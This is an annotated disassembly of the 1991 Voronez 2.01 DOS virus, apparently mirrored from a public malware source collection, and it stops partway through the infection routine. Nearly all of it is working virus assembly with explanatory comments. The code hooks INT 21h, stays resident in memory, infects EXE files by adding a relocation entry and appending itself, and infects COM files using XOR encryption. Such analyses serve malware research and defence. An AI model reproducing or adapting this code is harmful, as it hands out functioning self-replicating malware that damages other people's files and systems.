mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
1064 lines
38 KiB
NASM
1064 lines
38 KiB
NASM
;=======================================================
|
||
; Virus Voronez 2.01 (August 1991 Zielona Gora, Poland)
|
||
;
|
||
; Disassembled by Andrzej Kadlof 1991 August
|
||
;
|
||
; (C) Polish Section Of Virus Information Bank
|
||
;=======================================================
|
||
|
||
1EE6 9A19240657 call 5706:2419
|
||
|
||
; victim code
|
||
|
||
1EEB 1E push ds
|
||
1EEC B82325 mov ax,2523
|
||
|
||
;...
|
||
;
|
||
;-------------------
|
||
; virus entry point
|
||
|
||
2419 8CD8 mov ax,ds
|
||
241B 0E push cs
|
||
241C 1F pop ds
|
||
241D 50 push ax
|
||
241E E80000 call 2421 ; get own offset
|
||
2421 5B pop bx
|
||
|
||
2422 81EB0801 sub bx,0108 ; virus base
|
||
2426 53 push bx
|
||
|
||
; is virus present in RAM?
|
||
|
||
2427 B4AB mov ah,AB ; call for resident part
|
||
2429 CD21 int 21
|
||
|
||
242B 3D5555 cmp ax,5555 ; expected answer
|
||
242E 7503 jne 2433 ; not instaled
|
||
|
||
2430 E9D000 jmp 2503 ; instaled, exit
|
||
|
||
; install wirus in RAM
|
||
|
||
2433 8CC0 mov ax,es ; PSP segment
|
||
2435 2D0100 sub ax,0001 ; MCB segment
|
||
2438 8ED8 mov ds,ax
|
||
243A BB0300 mov bx,0003 ; offset of size of block in MCB
|
||
243D 3E8B07 mov ax,ds:[bx] ; get size
|
||
2440 2DEA00 sub ax,00EA ; reserve 0EA0h bytes for virus (3744)
|
||
2443 3E8907 mov ds:[bx],ax ; store new block size
|
||
2446 06 push es ; restore DS
|
||
2447 1F pop ds
|
||
2448 BB0200 mov bx,0002 ; offset of MEM size in PSP
|
||
244B 3E8B07 mov ax,ds:[bx] ; get MEM size
|
||
244E 2DEA00 sub ax,00EA ; decrease by 3744 bytes
|
||
2451 3E8907 mov ds:[bx],ax ; set new value in PSP
|
||
2454 8EC0 mov es,ax ; segment for new virus location
|
||
2456 BF0001 mov di,0100 ; offset of destination
|
||
2459 BE0001 mov si,0100 ; offset of source
|
||
245C 5B pop bx ; virus base
|
||
245D 53 push bx
|
||
245E 01DE add si,bx ; start of virus code
|
||
2460 0E push cs ; set DS to virus code
|
||
2461 1F pop ds
|
||
2462 B9A406 mov cx,06A4 ; length (1700)
|
||
2465 F3A4 rep movsb ; move to new place
|
||
2467 8BD0 mov dx,ax ; segment of new location
|
||
2469 EB74 jmp 24DF ; continue
|
||
246B 90 nop
|
||
|
||
;------------------
|
||
; INT 21h handler
|
||
|
||
246C 9C pushf
|
||
246D FB sti
|
||
246E 80FCAB cmp ah,AB ; virus call
|
||
2471 7505 jne 2478 ; no
|
||
|
||
2473 B85555 mov ax,5555 ; answer: I'm here
|
||
2476 9D popf
|
||
2477 CF iret
|
||
|
||
2478 3D003D cmp ax,3D00 ; open file for read only
|
||
247B 7540 jne 24BD
|
||
|
||
; open file for read only
|
||
|
||
247D 50 push ax
|
||
247E 53 push bx
|
||
247F 51 push cx
|
||
2480 52 push dx
|
||
2481 56 push si
|
||
2482 57 push di
|
||
2483 06 push es
|
||
2484 B94100 mov cx,0041 ; maximum path length
|
||
2487 30C0 xor al,al
|
||
2489 8BFA mov di,dx ; offset of path
|
||
248B 1E push ds
|
||
248C 07 pop es
|
||
248D F2AE repnz scasb ; find end of string
|
||
248F 83EF04 sub di,0004 ; point at extension
|
||
2492 8BF7 mov si,di
|
||
2494 56 push si ; offset of extension
|
||
2495 0E push cs
|
||
2496 07 pop es
|
||
2497 B90400 mov cx,0004 ; extension length
|
||
249A BF8902 mov di,0289 ; is it EXE?
|
||
249D F3A6 rep cmpsb
|
||
249F 83F900 cmp cx,0000
|
||
24A2 7504 jne 24A8
|
||
|
||
24A4 5E pop si ; balance stack
|
||
24A5 EB0D jmp 24B4 ; skip exe comparison
|
||
24A7 90 nop
|
||
|
||
24A8 BF8C02 mov di,028C ; is it exe?
|
||
24AB B90400 mov cx,0004
|
||
24AE 5E pop si ; offset of extension
|
||
24AF F3A6 rep cmpsb
|
||
24B1 83F900 cmp cx,0000
|
||
|
||
; restore callers registers
|
||
|
||
24B4 07 pop es
|
||
24B5 5F pop di
|
||
24B6 5E pop si
|
||
24B7 5A pop dx
|
||
24B8 59 pop cx
|
||
24B9 5B pop bx
|
||
24BA 58 pop ax
|
||
24BB 7409 je 24C6 ; exe file, contaminate it!
|
||
|
||
; not EXE file, maybe COM or subfunction <> 3D00h
|
||
|
||
24BD 50 push ax ; store subfunction code
|
||
24BE FEC4 inc ah ; hide 4B00h comparison
|
||
24C0 3D004C cmp ax,4C00 ; "terminate" proces
|
||
24C3 58 pop ax ; restore subfunction
|
||
24C4 7513 jne 24D9 ; jump to old INT 21h
|
||
|
||
; EXE file will be open for read only or any file will be loaded and executed
|
||
; store caller registers again
|
||
|
||
24C6 50 push ax
|
||
24C7 53 push bx
|
||
24C8 51 push cx
|
||
24C9 52 push dx
|
||
24CA 56 push si
|
||
24CB 57 push di
|
||
24CC 06 push es
|
||
24CD 1E push ds
|
||
24CE E91F01 jmp 25F0 ; contaminate
|
||
|
||
; jump to old INT 21h
|
||
|
||
24D1 1F pop ds
|
||
24D2 07 pop es
|
||
24D3 5F pop di
|
||
24D4 5E pop si
|
||
24D5 5A pop dx
|
||
24D6 59 pop cx
|
||
24D7 5B pop bx
|
||
24D8 58 pop ax
|
||
|
||
24D9 9D popf
|
||
24DA EA60147902 jmp 0279:1460 ; old INT 21h
|
||
|
||
; ^^^^^^^^ old INT 21h (place holder)
|
||
;---------------------
|
||
; continue instalation
|
||
|
||
; get INT 21h
|
||
|
||
24DF 8EDA mov ds,dx ; DS points at new virus location
|
||
24E1 B82135 mov ax,3521
|
||
24E4 CD21 int 21
|
||
24E6 3E891EC201 mov ds:[01C2],bx ; modify own code
|
||
24EB 3E8C06C401 mov ds:[01C4],es
|
||
24F0 3E891E7503 mov ds:[0375],bx
|
||
24F5 3E8C067703 mov ds:[0377],es
|
||
|
||
; set new INT 21h
|
||
|
||
24FA 8D165301 lea dx,[0153] ; here 246C
|
||
24FE B82125 mov ax,2521
|
||
2501 CD21 int 21
|
||
|
||
2503 5A pop dx ; virus base
|
||
2504 BBB002 mov bx,02B0 ; offset of working varible
|
||
2507 01D3 add bx,dx ; add base
|
||
2509 2E803F00 cmp byte ptr [bx],00 ; carrier type
|
||
250D 7441 je 2550 ; carrier is COM file
|
||
|
||
; carrier is EXE file
|
||
|
||
250F 1F pop ds ; restore DS
|
||
2510 8CD8 mov ax,ds ; store new virus segment
|
||
2512 0E push cs
|
||
2513 1F pop ds
|
||
2514 8BCA mov cx,dx
|
||
2516 5F pop di ; entry point offset
|
||
2517 07 pop es ; entry point segment
|
||
2518 50 push ax
|
||
2519 83EF05 sub di,0005 ; length of FAR CALL
|
||
|
||
; improper handling of the case when relocation item points exactly at
|
||
; fifth byte of stored code
|
||
|
||
251C BEAF02 mov si,02AF ; extension of buffer
|
||
251F 01CE add si,cx ; virus base
|
||
2521 8A14 mov dl,[si] ; get sixth byte, this byte may by
|
||
; changed during relocation proces
|
||
|
||
; this byte should be added to sixth byte in file (counting from entry point)
|
||
|
||
2523 26005505 add es:[di+05],dl ; add key
|
||
2527 26385505 cmp es:[di+05],dl ; was DL = 0?
|
||
252B 7703 ja 2530 ; jump if no
|
||
|
||
252D 4E dec si
|
||
252E FE04 inc byte ptr [si]
|
||
|
||
2530 8BD7 mov dx,di ; destination
|
||
2532 BEAA02 mov si,02AA ; source buffer
|
||
2535 01CE add si,cx ; add base
|
||
2537 B90500 mov cx,0005 ; number of bytes
|
||
253A F3A4 rep movsb
|
||
253C 1F pop ds
|
||
|
||
253D 06 push es ; prepare long jump
|
||
253E 52 push dx
|
||
253F 8CD8 mov ax,ds ; reset registers
|
||
2541 8EC0 mov es,ax
|
||
2543 31C0 xor ax,ax
|
||
2545 31DB xor bx,bx
|
||
2547 31C9 xor cx,cx
|
||
2549 31D2 xor dx,dx
|
||
254B 31F6 xor si,si
|
||
254D 31FF xor di,di
|
||
254F CB retf ; jump to application
|
||
|
||
; exit to COM application
|
||
|
||
2550 8CC8 mov ax,cs
|
||
2552 8ED8 mov ds,ax
|
||
2554 8EC0 mov es,ax
|
||
2556 BE6802 mov si,0268 ; offset of encryption routine
|
||
2559 B90001 mov cx,0100 ; number of bytes
|
||
255C BB8102 mov bx,0281 ; file size
|
||
255F 8B3F mov di,[bx]
|
||
2561 83FF00 cmp di,0000 ; ??
|
||
2564 7502 jne 2568
|
||
|
||
2566 CD20 int 20 ; terminate
|
||
|
||
; form destination address
|
||
|
||
2568 BB8302 mov bx,0283 ; place holder for virus length
|
||
256B 8B07 mov ax,[bx] ; virus length
|
||
256D 01C7 add di,ax ; add to file size
|
||
256F 81C70001 add di,0100 ; size of PSP
|
||
2573 FC cld
|
||
2574 57 push di ; destination address
|
||
2575 F3A4 rep movsb ; move part of code
|
||
2577 5F pop di ; restore address
|
||
2578 8B0E8302 mov cx,[0283] ; virus size
|
||
257C A18102 mov ax,[0281] ; file length
|
||
257F 57 push di ; prepare jump
|
||
2580 C3 ret ; jump to moved code (here 2581)
|
||
|
||
;--------------------
|
||
; encryption routine
|
||
|
||
2581 050001 add ax,0100 ; PSP size
|
||
2584 8BF0 mov si,ax ; offset of encrypted block
|
||
2586 BF0001 mov di,0100 ; destination
|
||
2589 FC cld
|
||
|
||
; decrypt block and copy it to begin of file
|
||
|
||
258A 8A04 mov al,[si]
|
||
258C 34BB xor al,BB
|
||
258E 8805 mov [di],al
|
||
2590 46 inc si
|
||
2591 47 inc di
|
||
2592 E2F6 loop 258A
|
||
|
||
; jump to application
|
||
|
||
2594 B80001 mov ax,0100 ; entry point for EXE
|
||
2597 5B pop bx ; balance stack
|
||
2598 50 push ax ; prepare jump
|
||
2599 C3 ret ; jump to COM
|
||
|
||
; working area
|
||
|
||
259A 1926 ; [base + 0281] low word of file size
|
||
259C 4006 ; [base + 0283] size of virus, (high word of file length)
|
||
259E 014C ; [base + 0285] old INT 24h (offset)
|
||
25A0 169F ; [base + 0287] old INT 24h (segment)
|
||
|
||
25A2 45 58 45 ; [base + 0289] 'EXE'
|
||
25A5 65 78 65 ; [base + 028C] 'exe'
|
||
|
||
; unused
|
||
|
||
; below line after xoring with 1A become: OleynikozL - name of the wirus author
|
||
|
||
25A8 55 76 7F 63 74 73 71 75 60 56 ; Uvctsqu`
|
||
|
||
25B1 56 6F 72 6F 6E 65 7A 68 2C ; Voronezh,
|
||
25BA 31 39 39 30 20 32 2E 30 31 ; 1990 2.01
|
||
|
||
; used data
|
||
|
||
25C3 FC 0E 1F BA BB ; [base + 02AA] starting 5 bytes of EXE file
|
||
25C8 00 ; [base + 02AF] this byte is added to 02AE
|
||
; if it is 0 then [02AE] is decreased by 1
|
||
25C9 01 ; [base + 02B0] carrier type: 0 - EXE, 1 - COM
|
||
|
||
25CA 0002 ; [base + 02B1] offset in header for new relocation entry
|
||
25CC E61E ; [base + 02B3] IP of EXE file
|
||
25CE 0000 ; [base + 02B5] CS of EXE file
|
||
25D0 0000
|
||
25D2 00
|
||
25D3 0000 ; [base + 02BA] virus entry point in file on disk
|
||
25D5 E620 ; [base + 02BC] - [02B1]
|
||
25D7 0000 ; [base + 02BE] segment of virus entry point
|
||
25D9 1924 ; [base + 02C0] offset
|
||
25DB 9A ; [base + 02C2] code of CALL SSSS:OOOO
|
||
25DC 1924 ; [base + 02C3] OOOO
|
||
25DE 0000 ; [base + 02C5] SSSS
|
||
25E0 0000 ; [base + 02C7] file position low word
|
||
25E2 1E00 ; [base + 02C9] file position high word
|
||
25E4 0001 ; [base + 02CB] size of buffer
|
||
25E6 0000 ; [base + 02CD] total size of readed part of ReloTabl
|
||
25E8 00 ; [base + 02CF] number of disk (0 - default, 1 - A, ...)
|
||
25E9 2000 ; [base + 02D0] file attributes
|
||
25EB B438 ; [base + 02D2] offset of file name
|
||
25ED 0F4C ; [base + 02D4] segment of file name
|
||
|
||
;-----------------
|
||
; INT 24h handler
|
||
|
||
25EF CF iret
|
||
|
||
; jump here if EXE file is open or sam program is loaded and executed
|
||
|
||
; check file name, skip file if fourth and fifth characters in path are 'CO'
|
||
|
||
25F0 8BDA mov bx,dx ; offset of path
|
||
25F2 3E8B4703 mov ax,ds:[bx+03] ; skip 'd:\' (?)
|
||
25F6 3D434F cmp ax,4F43 ; 'CO' protect 'C:\COMMAND.COM' ?
|
||
25F9 7503 jne 25FE
|
||
|
||
25FB E9D3FE jmp 24D1 ; jump to old INT 21h
|
||
|
||
; check presence of disk specyfication
|
||
|
||
25FE 8BFA mov di,dx ; offset of path
|
||
2600 31C0 xor ax,ax
|
||
2602 2EC606CF0200 mov byte ptr [02CF],00 ; default
|
||
2608 3E807D013A cmp ds:byte ptr [di+01],3A ; ':' is disk specified?
|
||
260D 7509 jne 2618 ; no
|
||
|
||
; convert disk specyfication to number (A - 1, B - 2, ...)
|
||
|
||
260F 3E8A05 mov al,ds:[di]
|
||
2612 249F and al,9F ; convert
|
||
2614 2EA2CF02 mov [02CF],al ; store disk number
|
||
|
||
2618 B80043 mov ax,4300 ; get file attributes
|
||
261B CD21 int 21
|
||
|
||
; store address of path and file attributes
|
||
|
||
261D 2E890ED002 mov [02D0],cx
|
||
2622 2E8C1ED202 mov [02D2],ds
|
||
2627 2E8916D402 mov [02D4],dx
|
||
|
||
; intercepte INT 24h
|
||
|
||
262C 1E push ds
|
||
262D 52 push dx
|
||
262E 06 push es
|
||
|
||
262F 0E push cs
|
||
2630 1F pop ds
|
||
2631 B82435 mov ax,3524
|
||
2634 CD21 int 21
|
||
2636 891E8502 mov [0285],bx
|
||
263A 8C068702 mov [0287],es
|
||
|
||
263E BAD602 mov dx,02D6
|
||
2641 B82425 mov ax,2524
|
||
2644 CD21 int 21
|
||
|
||
2646 07 pop es
|
||
2647 5A pop dx
|
||
2648 1F pop ds
|
||
|
||
2649 1E push ds
|
||
|
||
264A 0E push cs
|
||
264B 1F pop ds
|
||
|
||
264C BB0001 mov bx,0100
|
||
264F B94007 mov cx,0740 ; offset of buffer
|
||
2652 29D9 sub cx,bx ; virus length
|
||
2654 BB8302 mov bx,0283 ; offset of varible
|
||
2657 890F mov [bx],cx ; size of virus/crypted block
|
||
|
||
2659 1F pop ds
|
||
|
||
265A 8BDA mov bx,dx ; waste of time
|
||
265C 1E push ds ; store address of path
|
||
265D 52 push dx
|
||
265E 53 push bx ; waste of time
|
||
|
||
265F 0E push cs
|
||
2660 1F pop ds
|
||
|
||
2661 B436 mov ah,36 ; disk free
|
||
2663 8A16CF02 mov dl,[02CF] ; disk number
|
||
2667 CD21 int 21
|
||
|
||
2669 3DFFFF cmp ax,FFFF ; check for error
|
||
266C 7509 jne 2677 ; ok
|
||
|
||
; disk not accessible, exit
|
||
|
||
266E 58 pop ax ; balance stack
|
||
266F 58 pop ax
|
||
2670 58 pop ax
|
||
2671 E8A203 call 2A16 ; restore INT 24h
|
||
2674 E95AFE jmp 24D1 ; jump to old INT 21h
|
||
|
||
; convert disk free space into bytes
|
||
|
||
2677 F7E3 mul bx
|
||
2679 F7E1 mul cx
|
||
267B 09D2 or dx,dx
|
||
267D 7506 jne 2685 ; plenty of free room
|
||
|
||
267F 3B068302 cmp ax,[0283] ; minimum disk free space
|
||
2683 72E9 jb 266E ; disk full, exit
|
||
|
||
2685 5B pop bx ; balance stack
|
||
2686 5A pop dx ; path address
|
||
2687 1F pop ds
|
||
2688 B8003D mov ax,3D00 ; open file for read only
|
||
268B 9C pushf
|
||
268C FA cli
|
||
268D 9A60147902 call 0279:1460 ; old INT 21h
|
||
|
||
; ^^^^^^^^ old INT 21h (place holder)
|
||
|
||
2692 7306 jnb 269A ; OK
|
||
|
||
2694 E87F03 call 2A16 ; restore INT 24h
|
||
2697 E937FE jmp 24D1 ; jump to old INT 21h
|
||
|
||
269A 50 push ax ; store handle
|
||
269B 8CC8 mov ax,cs ; set DS and ES to virus segment
|
||
269D 8ED8 mov ds,ax
|
||
269F 8EC0 mov es,ax
|
||
26A1 58 pop ax ; restore handle
|
||
26A2 50 push ax ; store handle
|
||
26A3 8BD8 mov bx,ax
|
||
26A5 B80057 mov ax,5700 ; get file time/date stamp
|
||
26A8 CD21 int 21
|
||
|
||
26AA 58 pop ax ; restore handle
|
||
26AB 51 push cx ; attributes
|
||
26AC 52 push dx ; offset of path
|
||
26AD 50 push ax ; handle
|
||
|
||
; get file size
|
||
|
||
26AE 8BD8 mov bx,ax ; handle
|
||
26B0 B90000 mov cx,0000
|
||
26B3 BA0000 mov dx,0000
|
||
26B6 B442 mov ah,42 ; move file ptr
|
||
26B8 B002 mov al,02 ; to EOF
|
||
26BA CD21 int 21
|
||
|
||
26BC BB8102 mov bx,0281 ; store low word of file length
|
||
26BF 8907 mov [bx],ax
|
||
|
||
; waste of time or programmers error
|
||
|
||
26C1 BB8302 mov bx,0283 ; 'store' high word of file length
|
||
26C4 8B0F mov cx,[bx] ; <- error (?), maybe: mov [bx],cx ?
|
||
|
||
; move file ptr to BOF
|
||
|
||
26C6 B90000 mov cx,0000
|
||
26C9 BA0000 mov dx,0000
|
||
26CC B80042 mov ax,4200 ; move file ptr to BOF
|
||
26CF 5B pop bx ; restore handle
|
||
26D0 53 push bx
|
||
26D1 CD21 int 21
|
||
|
||
; read [0283] bytes of file to buffer located above virus
|
||
|
||
26D3 BB8302 mov bx,0283 ; working varible
|
||
26D6 8B0F mov cx,[bx] ; length of virus/encrypted block
|
||
26D8 5B pop bx ; restore handle
|
||
26D9 53 push bx
|
||
26DA BA4007 mov dx,0740 ; buffer
|
||
26DD B43F mov ah,3F ; read file
|
||
26DF CD21 int 21
|
||
|
||
26E1 BE4007 mov si,0740 ; buffer
|
||
26E4 8B0C mov cx,[si] ; first word
|
||
26E6 81F98CD8 cmp cx,D88C ; signature in COM file
|
||
26EA 7509 jne 26F5 ; clear COM or EXE file
|
||
|
||
; this is infected COM file, exit
|
||
|
||
26EC 5B pop bx ; handle
|
||
26ED 58 pop ax ; balance stack
|
||
26EE 58 pop ax
|
||
26EF E81F03 call 2A11 ; close file and restore INT 24h
|
||
26F2 E9DCFD jmp 24D1 ; jump to old INT 21h
|
||
|
||
; is it EXE file or clear COM?
|
||
|
||
26F5 81F94D5A cmp cx,5A4D ; EXE marker
|
||
26F9 7403 je 26FE ; yes
|
||
|
||
26FB E98902 jmp 2987 ; infect COM file
|
||
|
||
; check EXE file
|
||
|
||
26FE 5B pop bx ; restore handle
|
||
26FF 53 push bx
|
||
2700 B80042 mov ax,4200 ; move file ptr to BOF
|
||
2703 31C9 xor cx,cx
|
||
2705 31D2 xor dx,dx
|
||
2707 CD21 int 21
|
||
|
||
2709 B93200 mov cx,0032 ; block size
|
||
270C B8003F mov ax,3F00 ; read file
|
||
270F 8D164007 lea dx,[0740] ; buffer
|
||
2713 CD21 int 21
|
||
|
||
; check free place in relocation table
|
||
|
||
2715 A14607 mov ax,[0746] ; ReloCnt
|
||
2718 B90400 mov cx,0004 ; entry size
|
||
271B F7E1 mul cx ; AX size of relocation table
|
||
271D 8B1E5807 mov bx,[0758] ; TablOff
|
||
2721 01D8 add ax,bx
|
||
2723 8BD0 mov dx,ax ; size of used area in header
|
||
2725 8BFA mov di,dx
|
||
2727 A14807 mov ax,[0748] ; HdrSize
|
||
272A B91000 mov cx,0010 ; convert to bytes
|
||
272D F7E1 mul cx
|
||
272F 8BD7 mov dx,di ; used header size
|
||
2731 83C204 add dx,0004 ; one additional entry
|
||
2734 39D0 cmp ax,dx ; is free space?
|
||
2736 7703 ja 273B ; yes
|
||
|
||
2738 E94902 jmp 2984 ; relocation table is full, exit
|
||
|
||
; prepare new header
|
||
|
||
273B A3B102 mov [02B1],ax ; offset of first unused entry
|
||
273E A14607 mov ax,[0746] ; ReloCnt
|
||
2741 40 inc ax ; add one entry
|
||
2742 A34607 mov [0746],ax ; ReloCnt, store new value of counter
|
||
2745 A15407 mov ax,[0754] ; IP
|
||
2748 A3B302 mov [02B3],ax ; store oryginal IP
|
||
274B A15607 mov ax,[0756] ; CS
|
||
274E A3B502 mov [02B5],ax ; store oryginal CS
|
||
2751 31D2 xor dx,dx
|
||
2753 31C9 xor cx,cx
|
||
2755 B80242 mov ax,4202 ; move file ptr to EOF
|
||
2758 5B pop bx ; restore handle
|
||
2759 53 push bx
|
||
275A CD21 int 21
|
||
|
||
275C 50 push ax ; store file length
|
||
275D 52 push dx
|
||
275E 03068302 add ax,[0283] ; find new file length
|
||
2762 3B068302 cmp ax,[0283] ; long integer addition
|
||
2766 7701 ja 2769
|
||
|
||
2768 42 inc dx ; high word of file length
|
||
|
||
2769 B90002 mov cx,0200 ; convert into 512 byte pages
|
||
276C F7F1 div cx
|
||
276E 83FA00 cmp dx,0000 ; last page non empty?
|
||
2771 7401 je 2774
|
||
|
||
2773 40 inc ax ; count last page
|
||
|
||
; check if header information match to real file size
|
||
|
||
2774 8B1E4407 mov bx,[0744] ; PageCnt
|
||
2778 8BC8 mov cx,ax ; new PageCnt
|
||
277A 29D9 sub cx,bx ; diference
|
||
277C 83F905 cmp cx,0005 ; maximum possible
|
||
277F 7205 jb 2786 ; OK, continue infection
|
||
|
||
; there is some information above program in EXE file, do not infect such a
|
||
; file, exit
|
||
|
||
2781 58 pop ax
|
||
2782 58 pop ax
|
||
2783 E9FE01 jmp 2984
|
||
|
||
; continue infection
|
||
|
||
2786 A34407 mov [0744],ax ; PageCnt, store new value
|
||
2789 5A pop dx ; restore file length
|
||
278A 58 pop ax ; low word of file length
|
||
278B 8B1EB102 mov bx,[02B1] ; position of free relocation entry
|
||
278F 39D8 cmp ax,bx
|
||
2791 7205 jb 2798
|
||
|
||
; find length of file part above last entry in relocation table
|
||
|
||
2793 29D8 sub ax,bx
|
||
2795 EB04 jmp 279B
|
||
2797 90 nop
|
||
|
||
2798 29D8 sub ax,bx
|
||
279A 4A dec dx
|
||
|
||
279B 8916BE02 mov [02BE],dx ; address of virus entry point (segment)
|
||
279F A3C002 mov [02C0],ax ; offset
|
||
27A2 A1B102 mov ax,[02B1] ; offset in relocation table
|
||
27A5 8B1EB302 mov bx,[02B3] ; IP
|
||
27A9 BA0000 mov dx,0000 ; prepare long integer addition
|
||
27AC 01D8 add ax,bx ; add long integer
|
||
27AE 39D8 cmp ax,bx
|
||
27B0 7701 ja 27B3
|
||
|
||
27B2 42 inc dx
|
||
|
||
27B3 8BF0 mov si,ax ; offset of entry point
|
||
27B5 8BFA mov di,dx ; high word
|
||
27B7 A1B502 mov ax,[02B5] ; CS
|
||
27BA B91000 mov cx,0010 ; convert to bytes
|
||
27BD F7E1 mul cx
|
||
27BF 01D7 add di,dx ; high word
|
||
27C1 01C6 add si,ax ; low word
|
||
27C3 39C6 cmp si,ax
|
||
27C5 7701 ja 27C8
|
||
|
||
27C7 47 inc di
|
||
|
||
; store distance in file between first free entry in relocation table and
|
||
; program entry point in disk file
|
||
|
||
27C8 8BC6 mov ax,si
|
||
27CA 8BD7 mov dx,di
|
||
27CC 8916BA02 mov [02BA],dx
|
||
27D0 A3BC02 mov [02BC],ax
|
||
|
||
; move file position to entry point
|
||
|
||
27D3 8BCA mov cx,dx
|
||
27D5 8BD0 mov dx,ax
|
||
27D7 B80042 mov ax,4200 ; move file ptr
|
||
27DA C606B00201 mov byte ptr [02B0],01 ; flag: EXE file
|
||
27DF C606AF0200 mov byte ptr [02AF],00 ; buffer extension
|
||
27E4 5B pop bx ; handle
|
||
27E5 53 push bx
|
||
27E6 CD21 int 21
|
||
|
||
; read oryginal five bytes from entry point
|
||
|
||
27E8 B90500 mov cx,0005 ; number of bytes
|
||
27EB 8D16AA02 lea dx,[02AA] ; local buffer
|
||
27EF B8003F mov ax,3F00 ; read file
|
||
27F2 CD21 int 21
|
||
|
||
27F4 803EAA029A cmp byte ptr [02AA],9A ; signature
|
||
27F9 7503 jne 27FE ; not infected, continue
|
||
|
||
27FB E98601 jmp 2984 ; do not infect, exit
|
||
|
||
; continue infection
|
||
|
||
27FE E82302 call 2A24 ; clear attributes and reopen for read/write
|
||
|
||
; move file ptr to first not used entry in relocation table
|
||
|
||
2801 8B1E5807 mov bx,[0758] ; TableOff
|
||
2805 A14607 mov ax,[0746] ; ReloCnt
|
||
2808 48 dec ax ; count starts from zero
|
||
2809 B90400 mov cx,0004 ; entry size
|
||
280C F7E1 mul cx
|
||
280E 01C3 add bx,ax ; offset in table
|
||
2810 B90000 mov cx,0000
|
||
2813 8BD3 mov dx,bx
|
||
2815 B80042 mov ax,4200 ; move file ptr to BOF
|
||
2818 5B pop bx ; handle
|
||
2819 53 push bx
|
||
281A CD21 int 21
|
||
|
||
; write new relocation table entry
|
||
|
||
281C 8B16B302 mov dx,[02B3] ; IP
|
||
2820 83C203 add dx,0003 ; length of instruction code and offset
|
||
2823 8916B302 mov [02B3],dx ; pointer to segment word
|
||
2827 8D16B302 lea dx,[02B3] ; buffer with CS:IP
|
||
282B B90400 mov cx,0004 ; buffer size
|
||
282E B440 mov ah,40 ; write file
|
||
2830 5B pop bx ; handle
|
||
2831 53 push bx
|
||
2832 CD21 int 21
|
||
|
||
; restore IP in [02B3]
|
||
|
||
2834 8B16B302 mov dx,[02B3]
|
||
2838 83EA03 sub dx,0003
|
||
283B 8916B302 mov [02B3],dx
|
||
|
||
; move file ptr to begin of file
|
||
|
||
283F 31D2 xor dx,dx
|
||
2841 31C9 xor cx,cx
|
||
2843 B80042 mov ax,4200 ; move file ptr to BOF
|
||
2846 5B pop bx ; handle
|
||
2847 53 push bx
|
||
2848 CD21 int 21
|
||
|
||
; write new header to file
|
||
|
||
284A 8B0E5807 mov cx,[0758] ; TableOff, number of bytes to write
|
||
284E 8D164007 lea dx,[0740] ; offset of buffer
|
||
2852 B440 mov ah,40 ; write file
|
||
2854 CD21 int 21
|
||
|
||
; form code for instruction of far call to virus
|
||
|
||
2856 C606C2029A mov byte ptr [02C2],9A ; code for CALL ssss:oooo
|
||
285B A1C002 mov ax,[02C0] ; offset of virus entry point in RAM
|
||
285E A3C302 mov [02C3],ax ; store in buffer
|
||
2861 A1BE02 mov ax,[02BE] ; segment
|
||
2864 B90010 mov cx,1000 ; ??
|
||
2867 F7E1 mul cx
|
||
2869 A3C502 mov [02C5],ax ; new segment
|
||
286C 813EC30200F0 cmp word ptr [02C3],F000
|
||
2872 7215 jb 2889
|
||
|
||
; keep offset below F000
|
||
|
||
2874 A1C302 mov ax,[02C3]
|
||
2877 8B16C502 mov dx,[02C5]
|
||
287B 81C20001 add dx,0100 ; adjust segment
|
||
287F 2D0010 sub ax,1000 ; decrease offset
|
||
2882 8916C502 mov [02C5],dx ; store new values
|
||
2886 A3C302 mov [02C3],ax
|
||
|
||
; write to disk new entry point code
|
||
|
||
2889 8B0EBA02 mov cx,[02BA] ; virus entry point on disk file
|
||
288D 8B16BC02 mov dx,[02BC]
|
||
2891 B80042 mov ax,4200 ; move file ptr
|
||
2894 5B pop bx
|
||
2895 53 push bx
|
||
2896 CD21 int 21
|
||
|
||
2898 B90500 mov cx,0005 ; buffer length
|
||
289B B440 mov ah,40 ; write file
|
||
289D 8D16C202 lea dx,[02C2] ; buffeer with CALL SSSS:OOOO
|
||
28A1 CD21 int 21
|
||
|
||
; append to file virus code
|
||
|
||
28A3 B90000 mov cx,0000
|
||
28A6 BA0000 mov dx,0000
|
||
28A9 B80242 mov ax,4202 ; move file ptr to EOF
|
||
28AC 5B pop bx ; handle
|
||
28AD 53 push bx
|
||
28AE CD21 int 21
|
||
|
||
28B0 B440 mov ah,40 ; write file
|
||
28B2 8B0E8302 mov cx,[0283] ; virus length
|
||
28B6 BA0001 mov dx,0100 ; offset of virus code in RAM
|
||
28B9 CD21 int 21
|
||
|
||
; analyse relocation table
|
||
|
||
28BB 31C9 xor cx,cx
|
||
28BD 8B165807 mov dx,[0758] ; TablOff
|
||
28C1 B80042 mov ax,4200 ; move file ptr
|
||
28C4 5B pop bx ; handle
|
||
28C5 53 push bx
|
||
28C6 CD21 int 21
|
||
|
||
28C8 C706CD020000 mov word ptr [02CD],0000
|
||
28CE 8916C702 mov [02C7],dx ; store file position
|
||
28D2 A3C902 mov [02C9],ax
|
||
28D5 A14607 mov ax,[0746] ; ReloCnt
|
||
28D8 BF0000 mov di,0000
|
||
28DB 48 dec ax ; restore oryginal value
|
||
28DC 3D0000 cmp ax,0000
|
||
28DF 7503 jne 28E4 ; analyse relocation table
|
||
|
||
; if oryginal relocation table was empty then exit
|
||
|
||
28E1 E9A000 jmp 2984 ; close file, restore attr etc.
|
||
|
||
; find size of relocation table
|
||
|
||
28E4 B90400 mov cx,0004
|
||
28E7 F7E1 mul cx
|
||
28E9 8BF0 mov si,ax ; offset of last used entry
|
||
|
||
; get current file position (this is the begin of relocation teble)
|
||
|
||
28EB B90000 mov cx,0000
|
||
28EE BA0000 mov dx,0000
|
||
28F1 B80142 mov ax,4201 ; move file ptr rel current position
|
||
28F4 CD21 int 21
|
||
|
||
; read part of relocation table
|
||
|
||
28F6 8916C702 mov [02C7],dx ; store file position
|
||
28FA A3C902 mov [02C9],ax
|
||
28FD B90001 mov cx,0100 ; number of bytes
|
||
2900 BA0000 mov dx,0000 ; buffer
|
||
2903 B8003F mov ax,3F00 ; read file
|
||
2906 CD21 int 21
|
||
|
||
2908 BF0000 mov di,0000 ; point at relocation table
|
||
290B A3CB02 mov [02CB],ax ; number of bytes readed
|
||
290E 0106CD02 add [02CD],ax ; total number of readed bytes
|
||
|
||
; check relocation table entry
|
||
|
||
2912 8B4502 mov ax,[di+02] ; get segment
|
||
2915 3B06B502 cmp ax,[02B5] ; is it CS
|
||
2919 7551 jne 296C ; check next entry
